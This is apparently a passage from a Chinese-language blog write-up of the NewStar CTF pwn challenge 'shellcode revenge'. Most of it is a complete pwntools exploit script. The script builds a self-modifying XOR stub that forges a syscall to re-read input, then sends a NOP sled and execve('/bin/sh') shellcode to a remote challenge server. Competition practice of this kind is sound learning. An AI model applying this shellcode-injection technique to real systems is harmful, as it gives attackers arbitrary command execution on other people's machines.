在jmp到这块内存的时候,可以发现rax rdi rsi rdx的状态,如果在遇到一个syscall,那就是 read(0,0x66660000,0x66660000)这个状态,那能不能构造一个syscall,使得程序再read一遍,然后写入shellcode

1699443718606

1699433756870

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./shellcodere')
# libc = ELF('./libc.so.6')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "node4.buuoj.cn"
port = 25795
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)


payload = b'\x33\x42\x38' # xor eax, DWORD PTR [rdx+0x38] # eax = 0 相当于 mov eax, DWORD PTR [rdx+0x38] 0x38也就是 AAAA
payload += b'\x31\x42\x30' # 31 42 30 xor DWORD PTR [rdx+0x30], eax # rdx+0x30是 \x4e\x44 \x4e\x44 ^ AA = \x0f\x05 = syscall
payload += b'\x33\x42\x37' # xor eax, DWORD PTR [rdx+0x38] # 清空eax寄存器

payload += b'\x59'*(0x30-len(payload)) #59 pop rcx # 填充大量nop性质差不多的垃圾数据
payload += b'\x4e\x44'
payload += b'A'* 10 # 对齐


shellcode = asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')


sla("magic\n", payload)
# g(p)
sl(b'\x90' * 0x60 + shellcode) # 这里因为read能read很多数据,直接填充大量的nop,滑行过去,甚至不需要算偏移了

p.interactive()

这周有些忙,没有花太多时间在newstar上qaq

CATALOG
  1. 1. RE
    1. 1.1. PZthon
    2. 1.2. SMC
    3. 1.3. Petals
    4. 1.4. AndroGenshin
    5. 1.5. C?C++?
    6. 1.6. R4ndom
  2. 2. PWN
    1. 2.1. ret2libc
    2. 2.2. canary[补]
    3. 2.3. secret number[补]
    4. 2.4. stack migration[补]
    5. 2.5. shellcode revenge[补]